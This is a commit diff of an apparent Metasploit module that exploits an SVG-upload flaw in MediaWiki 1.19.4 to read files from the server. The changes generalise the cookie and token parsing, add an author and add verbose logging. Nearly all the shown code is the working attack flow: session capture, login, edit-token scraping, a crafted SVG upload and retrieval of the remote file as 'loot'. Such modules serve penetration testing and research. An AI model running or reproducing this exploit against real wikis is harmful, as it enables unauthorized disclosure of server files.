@@ -23,6 +23,9 @@ def initialize
23
23
be configured to accept upload of SVG files. If anonymous uploads are allowed the
24
24
username and password aren't required, otherwise they are. This module has been
25
25
tested successfully on MediaWiki 1.19.4 and Ubuntu 10.04.
26
+ The following MediaWiki requirements must be met: File upload must be enabled,
27
+ $wgFileExtensions[] must include 'svg', $wgSVGConverter must be set to something
28
+ other than 'false'.
26
29
} ,
27
30
'References' =>
28
31
[
@@ -32,8 +35,9 @@ def initialize
32
35
] ,
33
36
'Author' =>
34
37
[
35
- 'Daniel Franke' , # Vulnerability discovery and PoC
36
- 'juan vazquez' # Metasploit module
38
+ 'Daniel Franke' , # Vulnerability discovery and PoC
39
+ 'juan vazquez' , # Metasploit module
40
+ 'Christian Mehlmauer' # Metasploit module
37
41
] ,
38
42
'License' => MSF_LICENSE
39
43
)
@@ -69,8 +73,8 @@ def get_first_session
69
73
}
70
74
} )
71
75
72
- if res and res . code == 200 and res . headers [ 'Set-Cookie' ] and res . headers [ 'Set-Cookie' ] =~ /my_wiki_session =([a-f0 -9]* )/
73
- return $1
76
+ if res and res . code == 200 and res . headers [ 'Set-Cookie' ] and res . headers [ 'Set-Cookie' ] =~ /([^ \s ]*session) =([a-z0 -9]+ )/
77
+ return $1, $2
74
78
else
75
79
return nil
76
80
end
@@ -84,7 +88,7 @@ def get_login_token
84
88
"title" => "Special:UserLogin" ,
85
89
"returnto" => "Main+Page"
86
90
} ,
87
- 'cookie' => "my_wiki_session= #{ @first_session } "
91
+ 'cookie' => session_cookie
88
92
} )
89
93
90
94
if res and res . code == 200 and res . body =~ /name="wpLoginToken" value="([a-f0-9]*)"/
@@ -98,12 +102,14 @@ def get_login_token
98
102
def parse_auth_cookie ( cookies )
99
103
cookies . split ( ";" ) . each do |part |
100
104
case part
101
- when /my_wikiUserID=(.*)/
102
- @wiki_user_id = $1
103
- when /my_wikiUserName=(.*)/
104
- @my_wiki_user_name = $1
105
- when /my_wiki_session=(.*)/
106
- @my_wiki_session = $1
105
+ when /([^\s ]*UserID)=(.*)/
106
+ @wiki_user_id_name = $1
107
+ @wiki_user_id = $2
108
+ when /([^\s ]*UserName)=(.*)/
109
+ @wiki_user_name_name = $1
110
+ @wiki_user_name = $2
111
+ when /session=(.*)/
112
+ @wiki_session = $1
107
113
else
108
114
next
109
115
end
@@ -112,9 +118,9 @@ def parse_auth_cookie(cookies)
112
118
113
119
def session_cookie
114
120
if @user and @password
115
- return "my_wiki_session =#{ @my_wiki_session } ; my_wikiUserID =#{ @wiki_user_id } ; my_wikiUserName =#{ @my_wiki_user_name } "
121
+ return "#{ @wiki_session_name } =#{ @wiki_session } ; #{ @wiki_user_id_name } =#{ @wiki_user_id } ; #{ @wiki_user_name_name } =#{ @wiki_user_name } "
116
122
else
117
- return "my_wiki_session =#{ @first_session } "
123
+ return "#{ @wiki_session_name } =#{ @wiki_session } "
118
124
end
119
125
end
120
126
@@ -134,10 +140,10 @@ def authenticate
134
140
"wpLoginToken" => @login_token ,
135
141
"returnto" => "Main+Page"
136
142
} ,
137
- 'cookie' => "my_wiki_session= #{ @first_session } "
143
+ 'cookie' => session_cookie
138
144
} )
139
145
140
- if res and res . code == 302 and res . headers [ 'Set-Cookie' ] =~ /my_wikiUserID /
146
+ if res and res . code == 302 and res . headers [ 'Set-Cookie' ] =~ /UserID= /
141
147
parse_auth_cookie ( res . headers [ 'Set-Cookie' ] )
142
148
return true
143
149
else
@@ -152,7 +158,7 @@ def get_edit_token
152
158
'cookie' => session_cookie
153
159
} )
154
160
155
- if res and res . code == 200 and res . body =~/<title>Upload file/ and res . body =~ /"editToken":" ([0-9a-f]*)\+ \\ \\ /
161
+ if res and res . code == 200 and res . body =~/<title>Upload file/ and res . body =~ /<input id="wpEditToken" type="hidden" value=" ([0-9a-f]*)\+ \\ " name="wpEditToken" \/ > /
156
162
return $1
157
163
else
158
164
return nil
@@ -161,7 +167,6 @@ def get_edit_token
161
167
end
162
168
163
169
def upload_file
164
-
165
170
entity = Rex ::Text . rand_text_alpha_lower ( 3 )
166
171
@file_name = Rex ::Text . rand_text_alpha_lower ( 4 )
167
172
svg_file = %Q|
@@ -198,6 +203,13 @@ def upload_file
198
203
if res and res . code == 302 and res . headers [ 'Location' ]
199
204
return res . headers [ 'Location' ]
200
205
else
206
+ # try to output the errormessage
207
+ if res and res . body
208
+ error = res . body . scan ( /<div class="error">(.*?)<\/ div>/m ) [ 0 ]
209
+ if error and error . size == 1
210
+ print_error ( error [ 0 ] )
211
+ end
212
+ end
201
213
return nil
202
214
end
203
215
end
@@ -217,13 +229,13 @@ def read_data
217
229
end
218
230
219
231
def accessfile ( rhost )
220
-
221
232
vprint_status ( "#{ peer ( rhost ) } MediaWiki - Getting unauthenticated session..." )
222
- @first_session = get_first_session
223
- if @first_session . nil?
233
+ @wiki_session_name , @wiki_session = get_first_session
234
+ if @wiki_session . nil?
224
235
print_error ( "#{ peer ( rhost ) } MediaWiki - Failed to get unauthenticated session..." )
225
236
return
226
237
end
238
+ vprint_status ( "#{ peer ( rhost ) } Sessioncookie: #{ @wiki_session_name } =#{ @wiki_session } " )
227
239
228
240
if @user and not @user . empty? and @password and not @password . empty?
229
241
vprint_status ( "#{ peer ( rhost ) } MediaWiki - Getting login token..." )
@@ -232,11 +244,15 @@ def accessfile(rhost)
232
244
print_error ( "#{ peer ( rhost ) } MediaWiki - Failed to get login token" )
233
245
return
234
246
end
247
+ vprint_status ( "#{ peer ( rhost ) } Logintoken: #{ @login_token } " )
235
248
236
249
if not authenticate
237
250
print_error ( "#{ peer ( rhost ) } MediaWiki - Failed to authenticate" )
238
251
return
239
252
end
253
+ vprint_status ( "#{ peer ( rhost ) } Userid cookie: #{ @wiki_user_id_name } =#{ @wiki_user_id } " )
254
+ vprint_status ( "#{ peer ( rhost ) } Username cookie: #{ @wiki_user_name_name } =#{ @wiki_user_name } " )
255
+ vprint_status ( "#{ peer ( rhost ) } Session cookie: #{ @wiki_session_name } =#{ @wiki_session } " )
240
256
end
241
257
242
258
vprint_status ( "#{ peer ( rhost ) } MediaWiki - Getting edit token..." )
@@ -245,13 +261,15 @@ def accessfile(rhost)
245
261
print_error ( "#{ peer ( rhost ) } MediaWiki - Failed to get edit token" )
246
262
return
247
263
end
264
+ vprint_status ( "#{ peer ( rhost ) } Edittoken: #{ @edit_token } " )
248
265
249
266
vprint_status ( "#{ peer ( rhost ) } MediaWiki - Uploading SVG file..." )
250
267
@svg_uri = upload_file
251
268
if @svg_uri . nil?
252
269
print_error ( "#{ peer ( rhost ) } MediaWiki - Failed to upload SVG file" )
253
270
return
254
271
end
272
+ vprint_status ( "#{ peer ( rhost ) } SVG URI: #{ @svg_uri } " )
255
273
256
274
vprint_status ( "#{ peer ( rhost ) } MediaWiki - Retrieving remote file..." )
257
275
loot = read_data
@@ -276,4 +294,3 @@ def run_host(ip)
276
294
end
277
295
278
296
end
279
-
0 commit comments